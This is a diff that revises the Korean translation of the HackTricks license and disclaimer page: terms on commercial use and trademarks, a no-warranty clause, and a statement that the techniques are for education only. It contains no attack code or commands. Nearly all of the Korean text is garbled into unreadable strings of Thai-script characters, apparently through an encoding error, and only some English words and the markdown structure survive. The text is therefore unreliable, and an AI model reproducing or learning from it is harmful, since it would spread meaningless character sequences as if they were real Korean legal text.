์กฐ๊ฑด ์ ์šฉ์„ ๋ฐ›์Šต๋‹ˆ๋‹ค. ๊ณต์œ ํ•˜๊ฑฐ๋‚˜ ์ˆ˜์ •ํ•  ๋•Œ ์ €์ž๋ฅผ ํ‘œ๊ธฐํ•˜๋Š” ๊ฒƒ์„ ๊ถŒ์žฅํ•ฉ๋‹ˆ๋‹ค. -#### Exemptions: +#### ๋ฉด์ œ ์‚ฌํ•ญ: -- Commercial Use: ์ด ์ฝ˜ํ…์ธ ์˜ ์ƒ์—…์  ์ด์šฉ์— ๊ด€ํ•œ ๋ฌธ์˜๋Š” ์ €์—๊ฒŒ ์—ฐ๋ฝํ•ด ์ฃผ์‹ญ์‹œ์˜ค. +- Commercial Use: ์ด ์ฝ˜ํ…์ธ ์˜ ์ƒ์—…์  ์‚ฌ์šฉ์— ๊ด€ํ•œ ๋ฌธ์˜๋Š” ์—ฐ๋ฝํ•ด ์ฃผ์‹œ๊ธฐ ๋ฐ”๋ž๋‹ˆ๋‹ค. -์ด ๋ผ์ด์„ ์Šค๋Š” ํ•ด๋‹น ์ฝ˜ํ…์ธ ์™€ ๊ด€๋ จ๋œ ์ƒํ‘œ ๋˜๋Š” ๋ธŒ๋žœ๋”ฉ ๊ถŒ๋ฆฌ๋ฅผ ๋ถ€์—ฌํ•˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค. ์ด ๋ธ”๋กœ๊ทธ/์ฑ…์— ๋“ฑ์žฅํ•˜๋Š” ๋ชจ๋“  ์ƒํ‘œ์™€ ๋ธŒ๋žœ๋”ฉ์€ ๊ฐ ์†Œ์œ ์ž์˜ ์žฌ์‚ฐ์ž…๋‹ˆ๋‹ค. +์ด ๋ผ์ด์„ ์Šค๋Š” ์ฝ˜ํ…์ธ ์™€ ๊ด€๋ จ๋œ ์ƒํ‘œ๋‚˜ ๋ธŒ๋žœ๋”ฉ ๊ถŒ๋ฆฌ๋ฅผ ๋ถ€์—ฌํ•˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค. ์ด ๋ธ”๋กœ๊ทธ/์ฑ…์— ํ‘œ์‹œ๋œ ๋ชจ๋“  ์ƒํ‘œ์™€ ๋ธŒ๋žœ๋”ฉ์€ ๊ฐ ๊ถŒ๋ฆฌ์ž์˜ ์†Œ์œ ์ž…๋‹ˆ๋‹ค. -**By accessing or using HackTricks, you agree to abide by the terms of this license. If you do not agree with these terms, please, do not access this website.** +**HackTricks์— ์ ‘๊ทผํ•˜๊ฑฐ๋‚˜ ์‚ฌ์šฉํ•˜๋Š” ๊ฒฝ์šฐ, ์ด ๋ผ์ด์„ ์Šค ์กฐ๊ฑด์„ ์ค€์ˆ˜ํ•˜๋Š” ๋ฐ ๋™์˜ํ•˜๋Š” ๊ฒƒ์œผ๋กœ ๊ฐ„์ฃผ๋ฉ๋‹ˆ๋‹ค. ์ด ์กฐ๊ฑด์— ๋™์˜ํ•˜์ง€ ์•Š์œผ๋ฉด ์ด ์›น์‚ฌ์ดํŠธ์— ์ ‘๊ทผํ•˜์ง€ ๋งˆ์‹ญ์‹œ์˜ค.** -## **Disclaimer** +## **๋ฉด์ฑ…์‚ฌํ•ญ** > [!CAUTION] -> ์ด ์ฑ… 'HackTricks'๋Š” ๊ต์œก์  ๋ฐ ์ •๋ณด ์ œ๊ณต ๋ชฉ์ ์„ ์œ„ํ•ด ์ž‘์„ฑ๋˜์—ˆ์Šต๋‹ˆ๋‹ค. ์ด ์ฑ…์˜ ๋‚ด์šฉ์€ '์žˆ๋Š” ๊ทธ๋Œ€๋กœ(as is)' ์ œ๊ณต๋˜๋ฉฐ, ์ €์ž์™€ ๋ฐœํ–‰์ž๋Š” ํ•ด๋‹น ์ฑ…์— ํฌํ•จ๋œ ์ •๋ณด, ์ œํ’ˆ, ์„œ๋น„์Šค ๋˜๋Š” ๊ด€๋ จ ๊ทธ๋ž˜ํ”ฝ์˜ ์™„์ „์„ฑ, ์ •ํ™•์„ฑ, ์‹ ๋ขฐ์„ฑ, ์ ํ•ฉ์„ฑ ๋˜๋Š” ๊ฐ€์šฉ์„ฑ์— ๋Œ€ํ•ด ๋ช…์‹œ์  ๋˜๋Š” ๋ฌต์‹œ์ ์œผ๋กœ ์–ด๋– ํ•œ ๋ณด์ฆ๋„ ํ•˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค. ๋”ฐ๋ผ์„œ ํ•ด๋‹น ์ •๋ณด์— ๋Œ€ํ•œ ์˜์กด์€ ์ „์ ์œผ๋กœ ์‚ฌ์šฉ์ž์˜ ์ฑ…์ž„์ž…๋‹ˆ๋‹ค. +> ๋ณธ ์ฑ… 'HackTricks'๋Š” ๊ต์œก์  ๋ฐ ์ •๋ณด ์ œ๊ณต ๋ชฉ์ ์„ ์œ„ํ•œ ๊ฒƒ์ž…๋‹ˆ๋‹ค. ์ด ์ฑ… ๋‚ด์˜ ๋‚ด์šฉ์€ '์žˆ๋Š” ๊ทธ๋Œ€๋กœ' ์ œ๊ณต๋˜๋ฉฐ, ์ €์ž์™€ ์ถœํŒ์‚ฌ๋Š” ์ด ์ฑ…์— ํฌํ•จ๋œ ์ •๋ณด, ์ œํ’ˆ, ์„œ๋น„์Šค ๋˜๋Š” ๊ด€๋ จ ๊ทธ๋ž˜ํ”ฝ์˜ ์™„์ „์„ฑ, ์ •ํ™•์„ฑ, ์‹ ๋ขฐ์„ฑ, ์ ํ•ฉ์„ฑ ๋˜๋Š” ๊ฐ€์šฉ์„ฑ์— ๋Œ€ํ•ด ๋ช…์‹œ์ ์ด๋“  ๋ฌต์‹œ์ ์ด๋“  ์–ด๋– ํ•œ ์ง„์ˆ ์ด๋‚˜ ๋ณด์ฆ๋„ ํ•˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค. ๋”ฐ๋ผ์„œ ์ด๋Ÿฌํ•œ ์ •๋ณด์— ์˜์กดํ•˜๋Š” ๊ฒƒ์€ ์ „์ ์œผ๋กœ ๋ณธ์ธ์˜ ์ฑ…์ž„์ž…๋‹ˆ๋‹ค. > -> ์ €์ž์™€ ๋ฐœํ–‰์ž๋Š” ๋ฐ์ดํ„ฐ ์†์‹ค์ด๋‚˜ ์ด์ต ์†์‹ค๊ณผ ๊ด€๋ จํ•˜์—ฌ ๋ฐœ์ƒํ•˜๋Š” ๊ฐ„์ ‘์  ๋˜๋Š” ๊ฒฐ๊ณผ์  ์†ํ•ด๋ฅผ ํฌํ•จํ•œ ์–ด๋– ํ•œ ์†์‹ค์ด๋‚˜ ์†ํ•ด์— ๋Œ€ํ•ด์„œ๋„ ์ฑ…์ž„์„ ์ง€์ง€ ์•Š์Šต๋‹ˆ๋‹ค. +> ์ €์ž์™€ ์ถœํŒ์‚ฌ๋Š” ์ด ์ฑ…์˜ ์‚ฌ์šฉ๊ณผ ๊ด€๋ จํ•˜์—ฌ ๋ฐœ์ƒํ•˜๋Š” ๋ฐ์ดํ„ฐ ์†์‹ค ๋˜๋Š” ์ด์ต ์†์‹ค์„ ํฌํ•จํ•˜๋˜ ์ด์— ๊ตญํ•œ๋˜์ง€ ์•Š๋Š” ๊ฐ„์ ‘์ ์ด๊ฑฐ๋‚˜ ๊ฒฐ๊ณผ์ ์ธ ์†ํ•ด ๋˜๋Š” ์–ด๋– ํ•œ ์†ํ•ด์— ๋Œ€ํ•ด์„œ๋„ ์ฑ…์ž„์„ ์ง€์ง€ ์•Š์Šต๋‹ˆ๋‹ค. > -> ๋˜ํ•œ ์ด ์ฑ…์— ์„ค๋ช…๋œ ๊ธฐ๋ฒ•๊ณผ ํŒ์€ ๊ต์œก์ ยท์ •๋ณด ์ œ๊ณต ๋ชฉ์ ์œผ๋กœ๋งŒ ์ œ๊ณต๋˜๋ฉฐ ๋ถˆ๋ฒ•์ ์ด๊ฑฐ๋‚˜ ์•…์˜์ ์ธ ํ™œ๋™์— ์‚ฌ์šฉ๋˜์–ด์„œ๋Š” ์•ˆ ๋ฉ๋‹ˆ๋‹ค. ์ €์ž์™€ ๋ฐœํ–‰์ž๋Š” ์–ด๋– ํ•œ ๋ถˆ๋ฒ•์ ์ด๊ฑฐ๋‚˜ ๋น„์œค๋ฆฌ์ ์ธ ํ™œ๋™๋„ ์šฉ์ธํ•˜๊ฑฐ๋‚˜ ์ง€์›ํ•˜์ง€ ์•Š์œผ๋ฉฐ, ์ด ์ฑ…์˜ ์ •๋ณด๋ฅผ ์‚ฌ์šฉํ•˜๋Š” ๊ฒƒ์€ ์ „์ ์œผ๋กœ ์‚ฌ์šฉ์ž์˜ ์œ„ํ—˜๊ณผ ์žฌ๋Ÿ‰์— ๋‹ฌ๋ ค ์žˆ์Šต๋‹ˆ๋‹ค. +> ๋˜ํ•œ, ์ด ์ฑ…์— ์„ค๋ช…๋œ ๊ธฐ๋ฒ•๊ณผ ํŒ์€ ๊ต์œก์ ์ด๊ณ  ์ •๋ณด ์ œ๊ณต ๋ชฉ์ ์„ ์œ„ํ•œ ๊ฒƒ์ด๋ฉฐ ๋ถˆ๋ฒ•์ ์ด๊ฑฐ๋‚˜ ์•…์˜์ ์ธ ํ™œ๋™์— ์‚ฌ์šฉ๋˜์–ด์„œ๋Š” ์•ˆ ๋ฉ๋‹ˆ๋‹ค. ์ €์ž์™€ ์ถœํŒ์‚ฌ๋Š” ์–ด๋– ํ•œ ๋ถˆ๋ฒ•์  ๋˜๋Š” ๋น„์œค๋ฆฌ์  ํ™œ๋™๋„ ์šฉ์ธํ•˜๊ฑฐ๋‚˜ ์ง€์ง€ํ•˜์ง€ ์•Š์œผ๋ฉฐ, ์ด ์ฑ…์— ํฌํ•จ๋œ ์ •๋ณด๋ฅผ ์‚ฌ์šฉํ•˜๋Š” ๊ฒƒ์€ ์‚ฌ์šฉ์ž์˜ ์œ„ํ—˜๊ณผ ์žฌ๋Ÿ‰์— ๋”ฐ๋ฆ…๋‹ˆ๋‹ค. > -> ์‚ฌ์šฉ์ž๋Š” ์ด ์ฑ…์— ํฌํ•จ๋œ ์ •๋ณด๋ฅผ ๊ธฐ๋ฐ˜์œผ๋กœ ์ทจํ•œ ๋ชจ๋“  ํ–‰๋™์— ๋Œ€ํ•ด ์ „์ ์œผ๋กœ ์ฑ…์ž„์„ ์ง€๋ฉฐ, ๋ณธ์„œ์— ๊ธฐ์ˆ ๋œ ๊ธฐ๋ฒ•์ด๋‚˜ ํŒ์„ ๊ตฌํ˜„ํ•˜๋ ค ํ•  ๋•Œ๋Š” ํ•ญ์ƒ ์ „๋ฌธ๊ฐ€์˜ ์กฐ์–ธ๊ณผ ๋„์›€์„ ๊ตฌํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค. +> ์‚ฌ์šฉ์ž๋Š” ์ด ์ฑ…์— ํฌํ•จ๋œ ์ •๋ณด๋ฅผ ๋ฐ”ํƒ•์œผ๋กœ ์ทจํ•œ ๋ชจ๋“  ํ–‰๋™์— ๋Œ€ํ•ด ๋‹จ๋…์œผ๋กœ ์ฑ…์ž„์„ ์ง€๋ฉฐ, ๊ธฐ๋ฒ•์ด๋‚˜ ํŒ์„ ๊ตฌํ˜„ํ•˜๋ ค ํ•  ๋•Œ๋Š” ํ•ญ์ƒ ์ „๋ฌธ๊ฐ€์˜ ์กฐ์–ธ๊ณผ ๋„์›€์„ ๊ตฌํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค. > -> ์ด ์ฑ…์„ ์‚ฌ์šฉํ•จ์œผ๋กœ์จ, ์‚ฌ์šฉ์ž๋Š” ์ €์ž์™€ ๋ฐœํ–‰์ž๋ฅผ ์ด ์ฑ… ๋˜๋Š” ์ด ์ฑ…์— ํฌํ•จ๋œ ์ •๋ณด์˜ ์‚ฌ์šฉ์œผ๋กœ ์ธํ•ด ๋ฐœ์ƒํ•  ์ˆ˜ ์žˆ๋Š” ๋ชจ๋“  ์†ํ•ด, ์†์‹ค ๋˜๋Š” ํ•ด์— ๋Œ€ํ•ด ๋ฉด์ฑ…์‹œํ‚ค๋Š” ๋ฐ ๋™์˜ํ•ฉ๋‹ˆ๋‹ค. +> ์ด ์ฑ…์„ ์‚ฌ์šฉํ•จ์œผ๋กœ์จ ์‚ฌ์šฉ์ž๋Š” ์ €์ž์™€ ์ถœํŒ์ž๋ฅผ ์ด ์ฑ… ๋˜๋Š” ๊ทธ์— ํฌํ•จ๋œ ์ •๋ณด์˜ ์‚ฌ์šฉ์œผ๋กœ ์ธํ•ด ๋ฐœ์ƒํ•  ์ˆ˜ ์žˆ๋Š” ๋ชจ๋“  ์†ํ•ด, ์†์‹ค ๋˜๋Š” ํ”ผํ•ด์— ๋Œ€ํ•ด ๋ฉด์ฑ…ํ•˜๋Š” ๋ฐ ๋™์˜ํ•˜๋Š” ๊ฒƒ์ž…๋‹ˆ๋‹ค. {{#include ../banners/hacktricks-training.md}}